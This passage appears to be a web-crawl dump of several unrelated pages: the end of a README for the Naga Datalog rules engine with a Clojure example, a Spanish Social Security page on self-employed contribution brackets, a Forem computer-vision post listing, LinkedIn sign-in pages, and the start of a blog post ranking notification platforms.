on Asami. Asami The following can be used to access an in-memory database on Asami: ( require '[asami.core :as asami]) ; ; loads Asami ( require '[naga.storage.asami.core]) ; ; load the Asami adapter for Naga ( require '[naga.lang.pabu :refer [read-str]]) ; ; namespace for reading rule strings ( require '[naga.rules :as rules]) ; ; namespace for rule definitions and compiling ( require '[naga.engine :as engine]) ; ; the rules engine ; ; create a database and connect to it ( def uri " asami:mem://my-db " ) ( asami/create-database uri) ( let [connection ( asami/connect uri)] ; ; add some data ; ; deref to wait until the transaction has completed ( deref ( asami/transact connection { :tx-data [[ :db/add :xerces :parent :brooke ] [ :db/add :brooke :parent :damocles ]]})) ; ; load some rules and compile into a program ( let [rules ( :rules ( read-str " ancestor(X, Y) :- parent(X, Y). ancestor(X, Y) :- parent(X, Z), ancestor(Z, Y). " )) program ( rules/create-program rules)] ( engine/run connection program) ; ; look at the data to see who Xerces' ancestors are ( println ( asami/q '[ :find [?ancestor ...] :where [ :xerces :ancestor ?ancestor]] ( asami/db connection))))) This prints: (:brooke :damocles) This starts and ends with standard Asami access. Naga is used to parse the rule program, and execute the rules. In Memory Database Naga is designed to operate against any graph database. The interface for this is the Storage protocol described above, and is defined in the project naga-store . Implementations of this protocol exist for Datomic , and a local in-memory graph database called Asami . Asami is used by default. Asami has a relatively capable query planner, and internal operations for inner joins and projection. More operations are in the works. Queries may be executed directly against the database, but for the moment they require API access. We also have some partial implementations for on-disk storage, which we hope to use. These are based on the same architecture as the indexes in the Mulgara Database . License Copyright © 2016-2021 Cisco Systems Copyright © 2011-2022 Paula Gearon Distributed under the Eclipse Public License either version 1.0 or (at your option) any later version. About Datalog based rules engine Resources Readme License EPL-1.0 license Code of conduct Code of conduct Uh oh! There was an error while loading. Please reload this page . Activity Stars 47 stars Watchers 3 watching Forks 2 forks Report repository Releases No releases published Packages 0 No packages published Languages Clojure 100.0% Footer © 2026 GitHub, Inc. Footer navigation Terms Privacy Security Status Community Docs Contact Manage cookies Do not share my personal information You can’t perform that action at this time.	2026-01-13T08:47:55
https://www.seg-social.es/wps/portal/wss/internet/HerramientasWeb/9d2fd4f1-ab0f-42a6-8d10-2e74b378ee24	Seguridad Social: Herramientas Web Aviso Cookies Este sitio web utiliza cookies para que usted tenga una mejor experiencia de usuario. Las cookies no se utilizan para recoger información de carácter personal. Para más información consulte nuestra  política de cookies . Aceptar todas Rechazar todas Portal de la Seguridad social Inicio Conócenos Trabajadores Pensionistas Empresarios Sugerencias y quejas Consultas Idiomas Toggle dropdown menu Castellano Català Galego Euskara Valencià English Français Internet de la Seguridad Social --> Ir a contenido Desplegar campo de búsqueda Sugerencias y quejas Consultas Busqueda Castellano Toggle dropdown menu Castellano Català Galego Euskara Valencià English Français Introduzca su búsqueda Acceso directo al buscador Buscador Click para buscar Buscador avanzado El texto a buscar debe tener al menos 3 caracteres Inicio Conócenos Trabajadores Pensionistas Empresarios Z6_21I4H401M8GAC0A7LQ2QT710E2 Z6_21I4H401M00C50AR9GLSVS1083 Error: En este navegador se ha inhabilitado Javascript. Esta pÃ¡gina necesita Javascript. Modifique los valores del navegador para permitir que se ejecute Javascript. Consulte la documentaciÃ³n para obtener instrucciones especÃficas. Valore este contenido × Encuesta de satisfacción Califique esta página o el trámite relacionado. * Valoración con estrellas ¿Ha encontrado lo que buscaba o ha conseguido completar el trámite que deseaba realizar? * Valoración grado satisfacción Sí No En parte Si lo desea, ayúdenos a mejorar con su comentario. --> --> Su valoración será tratada de forma anónima. * Campos obligatorios Gracias por su participación Juntos podemos seguir mejorando este Portal {} 9d2fd4f1-ab0f-42a6-8d10-2e74b378ee24 Inicio Sistema de cotización para autónomos en 2023 Sistema de cotización para autónomos en 2023 Con la entrada en vigor el 1 de enero de 2023 del Real Decreto-ley 13/2022 de 26 de julio de 2022 , se establece un nuevo sistema de cotización para los trabajadores por cuenta propia o autónomos y se mejora la protección por cese de actividad. A continuación, se muestran los aspectos principales de este nuevo sistema de cotización. Comunicación de actividades Cotización basada en los rendimientos obtenidos Posibilidad de cambiar la base de cotización si varían los rendimientos Tarifa plana para nuevos autónomos Novedades en los beneficios aplicables a la cotización para autónomos en 2023 Más información: Guía de trabajo autónomo, folleto informativo y simulador de cuotas 2023 Comunicación de actividades Aquellas personas que inicien su actividad por cuenta propia y tramiten su alta, a partir del día 1 de enero de 2023, deberán comunicar todas las actividades que realicen como autónomo a la Tesorería General de la Seguridad Social. Las personas que ya figurasen de alta a día 1 de enero de 2023 y realicen más de una actividad por cuenta propia, también tendrán que comunicar todas sus actividades a la Tesorería General de la Seguridad Social. Tanto el alta en el Régimen Especial de Trabajadores Autónomos, como la comunicación de dichas actividades, se podrán realizar a través de Importass , Portal de la Tesorería General de la Seguridad Social. Cotización basada en los rendimientos obtenidos Todas las personas que trabajen por cuenta propia cotizarán a la Seguridad Social en función de sus rendimientos netos anuales , obtenidos en el ejercicio de todas sus actividades económicas, empresariales o profesionales. No cotizarán por rendimientos las personas que formen parte de una institución religiosa perteneciente a la Iglesia Católica, así como, durante el año 2025, los socios/as de cooperativas incluidos/as en el Régimen Especial de la Seguridad Social de los Trabajadores por Cuenta Propia o Autónomos que dispongan de un sistema intercooperativo de prestaciones sociales complementario al sistema público. A efectos de determinar la base de cotización, se tendrán en cuenta la totalidad de los rendimientos netos obtenidos en el año natural, en el ejercicio de sus distintas actividades profesionales o económicas, con independencia de que las realicen de forma individual o como socios/as o integrantes de cualquier entidad, con o sin personalidad jurídica, siempre y cuando no deban figurar por ellas en alta como personas trabajadoras por cuenta ajena o asimiladas a estas. El rendimiento neto computable de cada una de las actividades ejercidas se calculará de acuerdo con lo previsto a las normas del IRPF y con algunas particularidades en función del colectivo al que pertenezcan. Para más información, consulta ¿Cómo calculo mis rendimientos? . Del importe resultante se deducirá un 7 por ciento en concepto de gastos generales, excepto en los casos en que la persona trabajadora autónoma reúna las siguientes características, donde el porcentaje será del 3 por ciento: Administrador/a de sociedades mercantiles capitalistas cuya participación sea mayor o igual al 25 por ciento. Socio/a en una sociedad mercantil capitalista con una participación mayor o igual al 33 por ciento. Para la aplicación del porcentaje indicado del 3 por ciento bastará con haber figurado noventa días en alta en este régimen especial, durante el periodo a regularizar, en cualquiera de los supuestos citados anteriormente. Partiendo del promedio mensual de estos rendimientos netos anuales, se seleccionará la base de cotización que determinará la cuota a pagar. Anualmente, la Ley de Presupuestos Generales del Estado establecerá una tabla general y una reducida de bases de cotización que se dividirán en tramos consecutivos de importes de rendimientos netos mensuales a los que se asignarán, por cada tramo, unas bases de cotización máxima y mínima mensual . En la siguiente tabla se puede consultar estos nuevos tramos de rendimientos y sus correspondientes bases de cotización para los próximos tres años: Tabla de rendimientos y bases de cotización. Tabla reducida Tramos de rendimientos netos 2023 Tramos base de cotización Base mínima — Base máxima Euros/mes 2024 Tramos base de cotización Base mínima — Base máxima Euros/mes 2025 Tramos base de cotización Base mínima — Base máxima Euros/mes 1 <= 670 € 751,63 —  849,66 735,29 —  816,98 653,59 —  718,94 2 > 670 y <= 900 € 849,67 —  900 816,99 — 900 718.95 —  900 3 > 900 y <1.166,70 € 898,69 —  1.166,70 872,55 —  1.166,70 849,67 —  1.166,70 Tabla de rendimientos y bases de cotización. Tabla general Tramos de rendimientos netos 2023 Tramos base de cotización Base mínima — Base máxima Euros/mes 2024 Tramos base de cotización Base mínima — Base máxima Euros/mes 2025 Tramos base de cotización Base mínima — Base máxima Euros/mes 1 >= 1.166,7 y <= 1.300 € 950,98 —  1.300 950,98 —  1.300 950,98 —  1.300 2 > 1.300 y <= 1.500 € 960,78 —  1.500 960,78 —  1.500 960,78 —  1.500 3 > 1.500 y <= 1.700 € 960,78 —  1.700 960,78 —  1.700 960,78 —  1.700 4 > 1.700 y <= 1.850 € 1.013,07 —  1.850 1.045,75 —  1.850 1.143,79 —  1.850 5 > 1.850 y <= 2.030 € 1.029,41 —  2.030 1.062,09 —  2.030 1.209,15 —  2.030 6 > 2.030 y <= 2.330 € 1.045,75 —  2.330 1.078,43 —  2.330 1.274,51 —  2.330 7 > 2.330 y <= 2.760 € 1.078,43 —  2.760 1.111,11 —  2.760 1.356,21 —  2.760 8 > 2.760 y <= 3.190 € 1.143,79 —  3.190 1.176,47 —  3.190 1.437,91 —  3.190 9 > 3.190 y <= 3.620 € 1.209,15 —  3.620 1.241,83 —  3.620 1.519,61 —  3.620 10 > 3.620 y <= 4.050 € 1.274,51  —  4.050 1.307,19  —  4.050 1.601,31  —  4.050 11 > 4.050 y <= 6.000 € 1.372,55  —  4.495,50 1.454,25  —  4.720,50 1.732,03  —  4.909,50 12 > 6.000 € 1.633,99  —  4.495,50 1.732,03  —  4.720,50 1.928,10  —  4.909,50 A partir del 1 de enero de 2023 los trabajadores autónomos podrán declarar sus rendimientos previstos a través de los servicios que se encontrarán disponibles en Importass , el portal de la Tesorería General de la Seguridad Social para servicios y trámites online. Para las personas trabajadoras autónomas que se den de alta a partir de esta fecha, se solicitarán esa información en el proceso de alta que se realice a través de Importass. En el caso de que la persona trabajadora autónoma ya estuviera dada de alta, podrá modificar su base de cotización para ajustarla a la previsión sobre el promedio mensual de sus rendimientos netos anuales a través del servicio  Base de cotización y rendimientos . Las personas trabajadoras por cuenta propia que a 31/12/2022 vinieran cotizando por una base de cotización superior a la que les correspondería en razón de sus rendimientos estimados podrán mantener en 2025 dicha base de cotización, aunque sus rendimientos determinen la aplicación de una base de cotización inferior. Las personas trabajadoras por cuenta propia que a 31/12/2022 vinieran cotizando por una base de cotización superior a la que les correspondería en razón de sus rendimientos estimados podrán mantener en 2025 dicha base de cotización, aunque sus rendimientos determinen la aplicación de una base de cotización inferior. La base de cotización de las personas trabajadoras incluidas en el Régimen Especial de los Trabajadores por Cuenta Propia o Autónomos y/o en el Régimen Especial de los Trabajadores del Mar que, a 1 de enero de 2025, viniesen cotizando por la base máxima del tramo 11 y 12 de la tabla general para el año 2024 equivalente a 4.720,50 euros, la posibilidad de elegir, con efectos 1 de enero 2025, cualquier base de cotización que se encuentre comprendida entre la base por la que vienen cotizando (4.720,50 euros) y la base máxima del tramo 11 y 12 de la tabla general que, para el año 2025, establece la Orden PJC/178/2025, de 25 de febrero. (4.909,50 euros). En Importass se encuentra disponible un simulador para realizar el cálculo de la cuota en función de los rendimientos previstos. Las cantidades a ingresar a la Seguridad Social, llamadas cuotas, se calculan aplicando el tipo a la base de cotización. Posibilidad de cambiar la base de cotización si varían los rendimientos Si a lo largo del año 2025 se prevé una variación de los rendimientos netos, será posible seleccionar cada dos meses una nueva base de cotización y, por tanto, una nueva cuota adaptada a los mismos con un máximo de seis cambios al año . Esta modificación será efectiva en las siguientes fechas: 1 de marzo de 2025, si la solicitud se formula entre el 1 de enero y el último día natural del mes de febrero. 1 de mayo de 2025, si la solicitud se formula entre el 1 de marzo y el 30 de abril. 1 de julio de 2025, si la solicitud se formula entre el 1 de mayo y el 30 de junio. 1 de septiembre de 2025, si la solicitud se formula entre el 1 de julio y el 31 de agosto. 1 de noviembre de 2025, si la solicitud se formula entre el 1 de septiembre y el 31 de octubre. 1 de enero del año 2026, si la solicitud se formula entre el 1 de noviembre y el 31 de diciembre. Tarifa plana para nuevos autónomos Durante el periodo 2023-2025, las personas que causen alta inicial en el Régimen de autónomos podrán solicitar la aplicación de una cuota reducida (tarifa plana) de 80 euros mensuales durante los primeros 12 meses de actividad. La solicitud se realizará en el momento de tramitar el alta. Podrán beneficiarse de estas condiciones las personas autónomas que no hayan estado dadas de alta en los dos años inmediatamente anteriores a la fecha de efecto de la nueva alta, o bien tres años, en caso de haber disfrutado previamente de esta deducción. Transcurrido esos doce primeros meses, podrá también aplicarse una cuota reducida durante los siguientes doce meses, a aquellos trabajadores por cuenta propia que prevean que sus rendimientos económicos netos anuales, vayan a ser inferiores al salario mínimo interprofesional anual que corresponda a ese período y así lo soliciten en el servicio que se habilitará en Importass. Además, las personas autónomas con una discapacidad igual o superior al 33 por ciento, víctima de violencia de género o víctima de terrorismo, podrán solicitar la aplicación, en el momento del alta, de una cuota reducida de 80 euros durante los primeros 24 meses. Asimismo, finalizado este período, si su rendimiento neto previsto fuese inferior al Salario Mínimo Interprofesional, podrán solicitar, a través del servicio que se habilitará en Importass, la aplicación de esta cuota reducida durante los siguientes 36 meses, por importe de 160 euros. Todas las solicitudes de ampliación deberán acompañarse de una declaración relativa a que los rendimientos netos que se prevén obtener van a ser inferiores al salario mínimo profesional vigente. Las reducciones en la cotización previstas en los párrafos anteriores no resultarán aplicables a los familiares de trabajadores autónomos por consanguinidad o afinidad hasta el segundo grado inclusive y, en su caso, por adopción, que se incorporen al Régimen Especial de la Seguridad Social de los Trabajadores por Cuenta Propia o Autónomos. Los trabajadores por cuenta propia que disfruten de estos beneficios podrán renunciar en cualquier momento expresamente a su aplicación con efectos a partir del día primero del mes siguiente al de la comunicación de la renuncia correspondiente. Esta solicitud también se podrá realizar a través del servicio que se habilitará en Importass. Los trabajadores autónomos que a 31 de diciembre de 2022 fueran beneficiarios de la antigua tarifa plana, continuarán disfrutando de la misma, hasta que se agote el periodo máximo establecido, en las mismas condiciones. Novedades en los beneficios aplicables a la cotización para autónomos en 2023 Bonificación en la cotización para autónomos por cuidado de menor afectado por una enfermedad grave Las personas autónomas beneficiarias de la prestación para el cuidado de menores afectados cáncer u otra enfermedad grave tendrán derecho, durante el periodo en el que perciban dicha prestación, a una bonificación del 75 por ciento de la cuota por contingencias comunes, resultante de aplicar a la base media de los doce meses anteriores a la fecha en que se inicie esta bonificación, el tipo de cotización para contingencias comunes, excluido el correspondiente a IT derivada de contingencias comunes. Si el trabajador lleva menos de doce meses dado de alta continuada en el Régimen de autónomos, para el cálculo de la base media de cotización se tendrá en cuenta la última fecha de alta, cuyo resultado se obtiene dividiendo la suma de las bases de cotización entre el número de días en los que ha estado dado de alta de manera continuada, y la cuantía obtenida se multiplica por treinta. Bonificación a trabajadoras autónomas por reincorporación a su actividad Las trabajadoras autónomas que cesen su actividad por nacimiento de hijo/a, adopción, guarda con fines de adopción, acogimiento y tutela y quieran volver a realizar una actividad por cuenta propia dentro de los dos años siguientes a la fecha del cese, tendrán derecho a una bonificación, durante los 24 meses inmediatamente siguientes a la fecha de su reincorporación al trabajo, del 80 por ciento de la cuota por contingencias comunes, resultante de aplicar a la base media de los doce meses anteriores a la fecha en que cesaron su actividad, el tipo de cotización para contingencias comunes, excluido el correspondiente a IT derivada de contingencias comunes. Más información: Guía de trabajo autónomo, folleto informativo y simulador de cuotas 2023 Para obtener más información sobre el nuevo sistema de cotización 2023 consulte la Guía práctica de trabajo autónomo . Puede acceder a este simulador para calcular la cuota correspondiente al año 2023 en base a los rendimientos netos previstos. Se trata de un simulador disponible en el área pública, en el que se podrá simular la cuota que corresponde abonar con los rendimientos netos que la persona autónoma estime obtener a lo largo del año. En este folleto informativo  se recogen brevemente las principales claves del nuevo sistema de cotización para autónomos. Cómo identificarme Mapa Web Glosario Enlaces Ayuda Accesibilidad Información Lingüística RSS Copyright © Seguridad Social 2026. Todos los derechos reservados. Aviso Legal Política de cookies Complementary Content ${title} ${badge} ${loading}	2026-01-13T08:47:55
https://forem.com/t/computervision	Computervision - Forem Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close # computervision Follow Hide Create Post Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu You can't trust Images anymore pri pri pri Follow Jan 12 You can't trust Images anymore # showdev # computervision 11 reactions Comments Add Comment 4 min read Turning Images Into Game-Ready PBR Textures With Python (Offline, No Subscriptions) Mate Technologies Mate Technologies Mate Technologies Follow Jan 9 Turning Images Into Game-Ready PBR Textures With Python (Offline, No Subscriptions) # python # gamedev # computervision # opengl Comments Add Comment 2 min read VID2IMG Pro – Video to Image Extraction & Anonymization Tool Mate Technologies Mate Technologies Mate Technologies Follow Jan 9 VID2IMG Pro – Video to Image Extraction & Anonymization Tool # computervision # videoprocessing # photogrammetry # privacyandanonymization Comments Add Comment 2 min read Building a Production-Ready Traffic Violation Detection System with Computer Vision Harris Bashir Harris Bashir Harris Bashir Follow Jan 11 Building a Production-Ready Traffic Violation Detection System with Computer Vision # computervision # machinelearning # ai # dataengineering 6 reactions Comments 2 comments 3 min read Just added SAM3 video object tracking to X-AnyLabeling! Jack Wang Jack Wang Jack Wang Follow Jan 3 Just added SAM3 video object tracking to X-AnyLabeling! # segmentanything3 # xanylabeling # computervision # ai Comments Add Comment 1 min read AI Calorie Counting: How Computer Vision Is Revolutionizing Personal Nutrition wellallyTech wellallyTech wellallyTech Follow Jan 4 AI Calorie Counting: How Computer Vision Is Revolutionizing Personal Nutrition # ai # python # pytorch # computervision Comments Add Comment 2 min read Radiant AI: Building an AI-Powered Image Editor with Python Arshvir Arshvir Arshvir Follow Jan 1 Radiant AI: Building an AI-Powered Image Editor with Python # ai # computervision # python # webdev Comments Add Comment 2 min read Designing an AI Foot Traffic Analysis System for Retail ZedIoT ZedIoT ZedIoT Follow Dec 31 '25 Designing an AI Foot Traffic Analysis System for Retail # ai # computervision # systemdesign # retail Comments Add Comment 2 min read Remove CapCut Watermark with AI — How We Built a Flicker-Free Video Inpainting System renming wang renming wang renming wang Follow Dec 30 '25 Remove CapCut Watermark with AI — How We Built a Flicker-Free Video Inpainting System # capcut # ai # computervision # machinelearning 1 reaction Comments 1 comment 3 min read AI-powered face swap explained simply: algorithms and limits FreePixel FreePixel FreePixel Follow Dec 30 '25 AI-powered face swap explained simply: algorithms and limits # ai # machinelearning # computervision # deeplearningethics Comments Add Comment 4 min read AI-powered drone-based computer vision systems for inspection and maintenance of urban infrastructure in the EU Kirill Filippov Kirill Filippov Kirill Filippov Follow Jan 1 AI-powered drone-based computer vision systems for inspection and maintenance of urban infrastructure in the EU # computervision # ai # predictivemaintenance # drones Comments Add Comment 16 min read Deploying Your AI/ML Models: A Practical Guide from Training to Production Ajor Ajor Ajor Follow Dec 23 '25 Deploying Your AI/ML Models: A Practical Guide from Training to Production # ai # fastapi # computervision # deeplearning 1 reaction Comments Add Comment 5 min read 17 y/o developer. Building weird but useful tools. Hand Mouse — control your PC with just your hand. Fl4ie Fl4ie Fl4ie Follow Dec 21 '25 17 y/o developer. Building weird but useful tools. Hand Mouse — control your PC with just your hand. # computervision # productivit # python # programming 5 reactions Comments Add Comment 1 min read AI Background Remover: Why Similar Colors Confuse Segmentation Models FreePixel FreePixel FreePixel Follow Dec 22 '25 AI Background Remover: Why Similar Colors Confuse Segmentation Models # ai # computervision Comments Add Comment 4 min read AI Background Remover: How AI Detects Objects and Separates Backgrounds FreePixel FreePixel FreePixel Follow Dec 17 '25 AI Background Remover: How AI Detects Objects and Separates Backgrounds # ai # computervision # imageprocessing # machinelearning Comments Add Comment 3 min read AI Background Remover: A Complete Guide to Automated Image Cutouts FreePixel FreePixel FreePixel Follow Dec 16 '25 AI Background Remover: A Complete Guide to Automated Image Cutouts # ai # imageprocessing # computervision # webdev Comments Add Comment 4 min read AI Background Remover: What AI Sees When Separating Objects FreePixel FreePixel FreePixel Follow Dec 20 '25 AI Background Remover: What AI Sees When Separating Objects # aibackgroundremover # computervision # aiimageprocessing Comments Add Comment 4 min read AI Background Remover: Image Quality and Edge Accuracy FreePixel FreePixel FreePixel Follow Dec 13 '25 AI Background Remover: Image Quality and Edge Accuracy # ai # imageprocessing # computervision # webdev Comments Add Comment 4 min read Starting Dusty — A Tiny DSL for ETL & Research Data Cleaning Avik Avik Avik Follow Dec 11 '25 Starting Dusty — A Tiny DSL for ETL & Research Data Cleaning # programming # computervision # dsl Comments Add Comment 2 min read AI-Driven Roof Modeling From Drone Imagery for for Insurance Company SciForce SciForce SciForce Follow Dec 10 '25 AI-Driven Roof Modeling From Drone Imagery for for Insurance Company # ai # computervision # proptech # machinelearning Comments Add Comment 7 min read The Hot-Reload Magic - Tweak Pipelines Live (No Restarts!) Elliot Silver Elliot Silver Elliot Silver Follow Dec 17 '25 The Hot-Reload Magic - Tweak Pipelines Live (No Restarts!) # computervision # go # opensource # programming 8 reactions Comments 2 comments 2 min read Post 1: Implemented Canny Edge Detection, Sobel Operators, and Perspective Transforms from scratch Jyoti Prajapati Jyoti Prajapati Jyoti Prajapati Follow Dec 8 '25 Post 1: Implemented Canny Edge Detection, Sobel Operators, and Perspective Transforms from scratch # cv # computervision # javascript # ubuntu Comments Add Comment 1 min read See Through Walls: AI's New Eye on Occluded Motion by Arvind Sundararajan Arvind SundaraRajan Arvind SundaraRajan Arvind SundaraRajan Follow Dec 4 '25 See Through Walls: AI's New Eye on Occluded Motion by Arvind Sundararajan # machinelearning # computervision # python # ai 1 reaction Comments Add Comment 2 min read AI Guardian Angel: Preventing Traffic Chaos with Smart Sensors by Arvind Sundararajan Arvind SundaraRajan Arvind SundaraRajan Arvind SundaraRajan Follow Nov 30 '25 AI Guardian Angel: Preventing Traffic Chaos with Smart Sensors by Arvind Sundararajan # ai # machinelearning # computervision # infrastructure Comments Add Comment 2 min read Object Detection in Java with OpenCV + YOLO11 (Full Guide + Source Code) Vadym Vorobiov Vadym Vorobiov Vadym Vorobiov Follow Nov 30 '25 Object Detection in Java with OpenCV + YOLO11 (Full Guide + Source Code) # computervision # yolo # java # opencv Comments Add Comment 1 min read loading... trending guides/resources Advent of AI 2025 - Day 5: I Built a Touchless Flight Tracker You Control With Hand Gestures How I Reached 84.35% on CIFAR-100 Using ResNet-50 (PyTorch Guide) AI-powered face swap explained simply: algorithms and limits No More Manual Masking: The Science That Makes AI Batch Background Removal Tools So Accurate Teaching AI to Read Emotions: Science, Challenges, and Innovation Behind Facial Emotion Detection... AI Background Remover: How AI Detects Objects and Separates Backgrounds How I Built a 95% Accurate Defect Detection System with an ESP32-CAM and Python How I Built a 140 FPS Real-Time Face Landmark App with Just YOLOv9 + MediaPipe (5-Part Series) Meet X-AnyLabeling: The Python-native, AI-powered Annotation Tool for Modern CV 🚀 Cloak of Invisibility: Hiding from AI in Plain Sight The Hot-Reload Magic - Tweak Pipelines Live (No Restarts!) Remove CapCut Watermark with AI — How We Built a Flicker-Free Video Inpainting System Just added SAM3 video object tracking to X-AnyLabeling! Deploying Your AI/ML Models: A Practical Guide from Training to Production I built «UniFace: All-in-one face analysis Library» to make Face Analysis Easier Animating Realism: Transferring Motion Styles with AI Why TrivialAugment Works (Even When It Shouldn’t) Why CutMix Works (Even When It Breaks the Image Apart) Digital Zoom vs. Cropping: Are They the Same Thing? Introducing GoCVKit: Zero-Boilerplate Computer Vision in Go 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — Your community HQ Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. We're a blogging-forward open source social network where we learn from one another Log in Create account	2026-01-13T08:47:55
https://www.linkedin.com/uas/login?fromSignIn=true&session_redirect=https%3A%2F%2Fwww.linkedin.com%2Fcompany%2Fruul&trk=organization_guest_main-feed-card_ellipsis-menu-semaphore-sign-in-redirect&guestReportContentType=POST&_f=guest-reporting	LinkedIn Login, Sign in \| LinkedIn Sign in Sign in with Apple Sign in with a passkey By clicking Continue, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . or Email or phone Password Show Forgot password? Keep me logged in Sign in We’ve emailed a one-time link to your primary email address Click on the link to sign in instantly to your LinkedIn account. If you don’t see the email in your inbox, check your spam folder. Resend email Back New to LinkedIn? Join now Agree & Join LinkedIn By clicking Continue, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . LinkedIn © 2026 User Agreement Privacy Policy Community Guidelines Cookie Policy Copyright Policy Send Feedback Language العربية (Arabic) বাংলা (Bangla) Čeština (Czech) Dansk (Danish) Deutsch (German) Ελληνικά (Greek) English (English) Español (Spanish) فارسی (Persian) Suomi (Finnish) Français (French) हिंदी (Hindi) Magyar (Hungarian) Bahasa Indonesia (Indonesian) Italiano (Italian) עברית (Hebrew) 日本語 (Japanese) 한국어 (Korean) मराठी (Marathi) Bahasa Malaysia (Malay) Nederlands (Dutch) Norsk (Norwegian) ਪੰਜਾਬੀ (Punjabi) Polski (Polish) Português (Portuguese) Română (Romanian) Русский (Russian) Svenska (Swedish) తెలుగు (Telugu) ภาษาไทย (Thai) Tagalog (Tagalog) Türkçe (Turkish) Українська (Ukrainian) Tiếng Việt (Vietnamese) 简体中文 (Chinese (Simplified)) 正體中文 (Chinese (Traditional))	2026-01-13T08:47:55
https://www.linkedin.com/signup/cold-join?session_redirect=https%3A%2F%2Fwww.linkedin.com%2Ffeed%2Fhashtag%2Findependents&trk=organization_guest_main-feed-card-text	Sign Up \| LinkedIn Join LinkedIn now — it’s free! Not you? Remove photo Join LinkedIn To create a LinkedIn account, you must understand how LinkedIn processes your personal information by selecting learn more for each item listed. Agree to all terms We collect and use personal information. Learn more We share personal information with third parties to provide our services. Learn more Further information is available in our Korea Privacy Addendum . Privacy Policy Addendum 1 of 2 2 of 2 Agree to the term Continue Back Agree to all terms Email Password Show Remember me First name Last name By clicking Agree & Join, you agree to the LinkedIn User Agreement , Privacy Policy , and Cookie Policy . Agree & Join or Security verification Already on LinkedIn? Sign in Looking to create a page for a business? Get help LinkedIn © 2026 About Accessibility User Agreement Privacy Policy Cookie Policy Copyright Policy Brand Policy Guest Controls Community Guidelines العربية (Arabic) বাংলা (Bangla) Čeština (Czech) Dansk (Danish) Deutsch (German) Ελληνικά (Greek) English (English) Español (Spanish) فارسی (Persian) Suomi (Finnish) Français (French) हिंदी (Hindi) Magyar (Hungarian) Bahasa Indonesia (Indonesian) Italiano (Italian) עברית (Hebrew) 日本語 (Japanese) 한국어 (Korean) मराठी (Marathi) Bahasa Malaysia (Malay) Nederlands (Dutch) Norsk (Norwegian) ਪੰਜਾਬੀ (Punjabi) Polski (Polish) Português (Portuguese) Română (Romanian) Русский (Russian) Svenska (Swedish) తెలుగు (Telugu) ภาษาไทย (Thai) Tagalog (Tagalog) Türkçe (Turkish) Українська (Ukrainian) Tiếng Việt (Vietnamese) 简体中文 (Chinese (Simplified)) 正體中文 (Chinese (Traditional)) Language	2026-01-13T08:47:55
https://www.suprsend.com/post/7-best-notification-infrastructure-platforms-for-2025	The 7 Best Notification Infrastructure Platforms for 2025 Product FEATURES Template Engine Powerful template editors for all channels App Inbox Fully customizable inbox for your app & website Analytics Deep data insights on notification performance Logs Real-time notifications logs for all channels Smart Routing Reach users where they are Branding Seamlessly manage multi-brand customization Workflows Craft complex notification workflows Bifrost Run notifications natively on data warehouse Preferences Develop user focused notifications Integrations Integrate any channel and provider within mins Solutions BY USECASES Transactional Real-time alerts like authentication, activity updates Batching & Digest Aggregate multiple alerts into one Collaboration & Action Alerts on cross-user activity Scheduled Notifications One-time or recurring alerts like reminders Multi-tenant Alerts tailored to your customer's preferences Announcement / Newsletters Feature releases, achievements, product & policy updates Pricing Docs Customers Blog Login Get Started For Free Login Sign up Notification Infrastructure The 7 Best Notification Infrastructure Platforms for 2025 Nikita Navral • September 10, 2025 TABLE OF CONTENTS Modern SaaS products can’t afford to treat notifications as an afterthought. Whether it’s transactional alerts, in-app nudges, or multi-channel engagement campaigns, notifications are now critical infrastructure. Instead of stitching together email, SMS, and push APIs manually, teams are adopting notification infrastructure platforms to centralize delivery, routing, preferences, and observability. Below are the 7 best platforms for 2025 , with an overview of their features, pros, cons, pricing, and ideal use cases . ‍ 1. SuprSend – Best Overall for Developers & Product Teams Why it stands out: SuprSend is a full-stack notification infrastructure platform designed for engineers and product managers. It unifies all channels: Email, SMS, Push, In-App Inbox, WhatsApp, Slack, Teams, Discord, Webhooks into one clean API. Key Features Workflow orchestration: triggers, batching, digests, smart routing Multi-tenancy & white-labeling for SaaS Developer-first: CI/CD, SDKs, observability logs Preference center with granular user control Pros Flexible orchestration and routing Strong developer tooling and observability Proven case studies with measurable impact Cons Limited no-code tools for non-developers Pricing Free: 10k notifications/month Growth: $99–$250/month tiers Enterprise: Custom 💡 Ideal for : SaaS platforms, marketplaces, and enterprises needing scalable, developer-first infra. ‍ 2. OneSignal – Best for Marketing & Retention Teams Why it stands out: OneSignal is widely known for push notifications and lifecycle campaigns. It’s popular for promotional messaging rather than transactional workflows. Key Features Push campaigns and in-app messaging Audience segmentation & A/B testing Easy integration for mobile-first apps Pros Excellent for push campaigns Growth-friendly pricing Cons Less suited for transactional use cases Pricing Free plan available Growth plans from ~$99/month Ideal for : Marketing & retention teams running campaigns. ‍ 3. Courier – 